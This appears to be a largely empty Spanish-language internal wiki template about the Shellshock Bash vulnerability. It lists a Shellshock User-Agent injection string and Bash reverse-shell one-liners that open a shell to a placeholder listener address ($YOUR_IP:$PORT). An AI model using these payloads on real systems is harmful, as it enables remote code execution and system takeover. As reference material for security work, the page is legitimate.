Shell Shock

*Autor(es): [email protected] *Mantenedor(es): ** *Departamento: DevOps *Licencia(s): **

Resumen

Shell Shock: Escalada de privilegios, ejecución remota de código Familia de fallos en el shell Bash de Unix. Permite la ejecución de comandos arbitrarios.

Vectores de explotación

---

Payloads

• agente de usuario de shellshock = User-Agent: () { :; } ; <$BASH_COMMAND>
• payload rshell = bash -i >& /dev/tcp/127.0.0.1
  • redirección de rshell al listener = bash -i >& /dev/tcp/$YOUR_IP:$PORT

Trucos

Diseño:

• Propósito:
• Contenido:
• Servidor(es):
  • Aplicación:
  • Base de datos:
• Redes:
  • DNS:
  • Rutas:
• Dependencias de la aplicación:
• Programas dependientes:

Uso básico:

• Uso:

• Casos de uso comunes:

• Ejemplos:

Pruebas

Entrada de prueba

• Parámetros:
• Acciones:

Salida de prueba

• Salida:
• Capturas de pantalla:
• Video:
• Etc.:

Notas:* [option]: